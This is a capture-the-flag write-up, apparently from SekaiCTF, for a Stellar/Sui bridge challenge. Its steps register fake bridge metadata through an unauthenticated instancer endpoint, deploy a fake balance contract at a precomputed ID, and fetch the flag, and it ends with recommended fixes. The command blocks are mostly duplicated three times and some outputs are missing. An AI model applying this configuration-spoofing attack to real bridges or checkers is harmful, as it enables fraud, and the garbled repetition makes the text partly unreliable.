ROOT_SECRET='SC5O7VZUXDJ6JBDSZ74DSERXL7W3Y5LTOAMRF7RQRL3TAGAPS7LUVG3L'
SALT='0000000000000000000000000000000000000000000000000000000000000420'

stellar contract id wasm \
  --source-account "$ROOT_SECRET" \
  --salt "$SALT" \
  --network-passphrase 'Standalone Network ; February 2017' \
  --rpc-url

ROOT_SECRET='SC5O7VZUXDJ6JBDSZ74DSERXL7W3Y5LTOAMRF7RQRL3TAGAPS7LUVG3L'
SALT='0000000000000000000000000000000000000000000000000000000000000420'

stellar contract id wasm \
  --source-account "$ROOT_SECRET" \
  --salt "$SALT" \
  --network-passphrase 'Standalone Network ; February 2017' \
  --rpc-url

ROOT_SECRET='SC5O7VZUXDJ6JBDSZ74DSERXL7W3Y5LTOAMRF7RQRL3TAGAPS7LUVG3L'
SALT='0000000000000000000000000000000000000000000000000000000000000420'

stellar contract id wasm \
  --source-account "$ROOT_SECRET" \
  --salt "$SALT" \
  --network-passphrase 'Standalone Network ; February 2017' \
  --rpc-url

For this solve, the deterministic ID was:

The RPC URL does not need to be live for this calculation because the contract ID is derived from the deployer and salt.

Exploit Steps

Use the target endpoint:

BASE='https://outer-stellar-607530e4655b.instancer.sekai.team'
BASE='https://outer-stellar-607530e4655b.instancer.sekai.team'
BASE='https://outer-stellar-607530e4655b.instancer.sekai.team'

Optional: stop any existing instance:

curl -sS -X POST "$BASE/stop"
curl -sS -X POST "$BASE/stop"
curl -sS -X POST "$BASE/stop"

Start a new instance with our fake bridge metadata:

curl -sS -X POST "$BASE/new" \
  -H 'content-type: application/json' \
  --data '{
    "auto_bridge": false,
    "honest_player": false,
    "bridge": {
      "stellar_contract_id": "CARX7UGW7FX6PEEYFSRUYSTELQMVCSJ7STLUOGCMKRFA2WIEUKXV5KDG",
      "sui_package_id": "0x1",
      "sui_bridge_object_id": "0x2"
    }
  }'
curl -sS -X POST "$BASE/new" \
  -H 'content-type: application/json' \
  --data '{
    "auto_bridge": false,
    "honest_player": false,
    "bridge": {
      "stellar_contract_id": "CARX7UGW7FX6PEEYFSRUYSTELQMVCSJ7STLUOGCMKRFA2WIEUKXV5KDG",
      "sui_package_id": "0x1",
      "sui_bridge_object_id": "0x2"
    }
  }'
curl -sS -X POST "$BASE/new" \
  -H 'content-type: application/json' \
  --data '{
    "auto_bridge": false,
    "honest_player": false,
    "bridge": {
      "stellar_contract_id": "CARX7UGW7FX6PEEYFSRUYSTELQMVCSJ7STLUOGCMKRFA2WIEUKXV5KDG",
      "sui_package_id": "0x1",
      "sui_bridge_object_id": "0x2"
    }
  }'

Fetch instance info:

curl -sS "$BASE/info"
curl -sS "$BASE/info"
curl -sS "$BASE/info"

From the response, take the Stellar endpoint UUID. In the solved run it was:

Deploy the fake contract to the precomputed ID:

ROOT_SECRET='SC5O7VZUXDJ6JBDSZ74DSERXL7W3Y5LTOAMRF7RQRL3TAGAPS7LUVG3L'
SALT='0000000000000000000000000000000000000000000000000000000000000420'
STELLAR_RPC="$BASE/stellar/d19accfe-8cf2-4a81-a8b1-c8308473e07a"

stellar contract deploy \
  --wasm target/wasm32v1-none/release/fake_balance.wasm \
  --salt "$SALT" \
  --source-account "$ROOT_SECRET" \
  --network-passphrase 'Standalone Network ; February 2017' \
  --rpc-url "$STELLAR_RPC" \
  --ignore-checks \
  --quiet
ROOT_SECRET='SC5O7VZUXDJ6JBDSZ74DSERXL7W3Y5LTOAMRF7RQRL3TAGAPS7LUVG3L'
SALT='0000000000000000000000000000000000000000000000000000000000000420'
STELLAR_RPC="$BASE/stellar/d19accfe-8cf2-4a81-a8b1-c8308473e07a"

stellar contract deploy \
  --wasm target/wasm32v1-none/release/fake_balance.wasm \
  --salt "$SALT" \
  --source-account "$ROOT_SECRET" \
  --network-passphrase 'Standalone Network ; February 2017' \
  --rpc-url "$STELLAR_RPC" \
  --ignore-checks \
  --quiet
ROOT_SECRET='SC5O7VZUXDJ6JBDSZ74DSERXL7W3Y5LTOAMRF7RQRL3TAGAPS7LUVG3L'
SALT='0000000000000000000000000000000000000000000000000000000000000420'
STELLAR_RPC="$BASE/stellar/d19accfe-8cf2-4a81-a8b1-c8308473e07a"

stellar contract deploy \
  --wasm target/wasm32v1-none/release/fake_balance.wasm \
  --salt "$SALT" \
  --source-account "$ROOT_SECRET" \
  --network-passphrase 'Standalone Network ; February 2017' \
  --rpc-url "$STELLAR_RPC" \
  --ignore-checks \
  --quiet

This prints:

Now call the flag endpoint:

curl -sS "$BASE/flag"
curl -sS "$BASE/flag"
curl -sS "$BASE/flag"

Result:

{"flag":"SEKAI{super-duper-stellar-master-3a9bb1}","ok":true}
{"flag":"SEKAI{super-duper-stellar-master-3a9bb1}","ok":true}
{"flag":"SEKAI{super-duper-stellar-master-3a9bb1}","ok":true}

Why This Works

The challenge separates “instance configuration” from “real deployment”, but the public API allows the attacker to provide the instance configuration directly.

After that, the checker does not independently verify challenge state. It simply calls the configured Stellar contract’s balance method and compares the returned integer against 250.

So the exploit is:

1. Precompute a Soroban contract ID.

2. Tell the instancer that this ID is the official bridge contract.

3. Deploy a fake contract at that ID.

4. Make balance return a value above the flag threshold.

5. Request /flag.

No Sui interaction is required.

False Lead

There is also a real-looking bridge issue: the relayer exposes pending bridge completions and the signed message does not bind fee_recipient.

That path lets an attacker redirect bridge fees from leaked attestations and can increase the player’s balance. However, it is slower and unreliable for the full 250 target. The five-minute solve is the instancer trust bug above.

Fix

The instancer should not accept arbitrary bridge metadata from unauthenticated users.

Concrete fixes:

1. Remove the custom bridge path from public /new.

2. Only write bridge metadata produced by the server’s own deployment flow.

3. In /flag, verify that the bridge contract ID matches the one deployed for the instance.

4. Do not let user input control contract IDs used by privileged checker logic.

5. Optionally check contract wasm hashes or deployment receipts before accepting an instance as valid.

Social Icon
Social Icon
Social Icon
Social Icon
Social Icon
Social Icon
Social Icon
Social Icon
Social Icon
Social Icon
Social Icon
Social Icon

Create a free website with Framer, the website builder loved by startups, designers and agencies.